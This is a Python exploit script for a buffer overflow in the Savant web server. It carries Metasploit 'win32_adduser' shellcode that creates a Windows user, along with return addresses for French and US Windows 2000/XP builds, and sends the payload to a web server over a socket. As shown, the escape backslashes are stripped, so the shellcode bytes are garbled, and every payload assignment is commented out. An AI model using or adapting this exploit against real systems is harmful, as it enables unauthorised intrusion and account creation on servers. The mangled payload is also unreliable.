#########################################################
#                                                       #
# Savant web server Buffer Overflow Exploit             #
# Discovered by : Mati Aharoni                          #
# Coded by : Tal Zeltzer and Mati Aharoni               #
# www.see-security.com                                  #
# FOR RESEACRH PURPOSES ONLY!                           #
# FRench Win OS support by Jerome Athias                #
#########################################################
import struct
import socket
sc = "x90" * 21	#We need this number of nops
# win32_adduser - PASS=pwd EXITFUNC=thread USER=X Size=232 Encoder=PexFnstenvSub http://metasploit.com
sc += "x31xc9x83xe9xccxd9xeexd9x74x24xf4x5bx81x73x13xd8"
sc += "x23x73xe4x83xebxfcxe2xf4x24xcbx35xe4xd8x23xf8xa1"
sc += "xe4xa8x0fxe1xa0x22x9cx6fx97x3bxf8xbbxf8x22x98x07"
sc += "xf6x6axf8xd0x53x22x9dxd5x18xbaxdfx60x18x57x74x25"
sc += "x12x2ex72x26x33xd7x48xb0xfcx27x06x07x53x7cx57xe5"
sc += "x33x45xf8xe8x93xa8x2cxf8xd9xc8xf8xf8x53x22x98x6d"
sc += "x84x07x77x27xe9xe3x17x6fx98x13xf6x24xa0x2cxf8xa4"
sc += "xd4xa8x03xf8x75xa8x1bxecx31x28x73xe4xd8xa8x33xd0"
sc += "xddx5fx73xe4xd8xa8x1bxd8x87x12x85x84x8exc8x7ex8c"
sc += "x37xedx93x84xb0xbbx8dx6exd6x74x8cx03x30xcdx8cx1b"
sc += "x27x40x1ex80xf6x46x0bx81xf8x0cx10xc4xb6x46x07xc4"
sc += "xadx50x16x96xf8x7bx53x94xafx47x53xcbx99x67x37xc4"
sc += "xfex05x53x8axbdx57x53x88xb7x40x12x88xbfx51x1cx91"
sc += "xa8x03x32x80xb5x4ax1dx8dxabx57x01x85xacx4cx01x97"
sc += "xf8x7bx53xcbx99x67x37xe4";
sc += "AA"
# Win2k SP0,1,2,3,4 (US...)
#Change Return address as needed
#buf = "xEBx19" + " /" + sc + struct.pack("<L",0x750236b2) + "rnrn"

#0x74FA2AC4		pop esi - pop - ret	ws2help.dll	Win 2K SP4 FR (Found with findjmp2 by Class101 ;)
#buf = "x90" * 24 + " /" + sc + struct.pack("<L",0x74fa2ac5) + "rnrn"	#EB becomes CB...? so i changed it by nops

#Win XP SP2 FR?
#0x719E260D		pop esi - pop - ret	ws2help.dll	Win XP SP2 FR (Found with findjmp2 by Class101 ;)
#buf = "x90" * 24 + " /" + sc + struct.pack("<L",0x719e260e) + "rnrn"	#EB becomes CB...? so i changed it by nops


s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',80))
s.send(buf)
s.close()

# www.Syue.com [2005-02-15]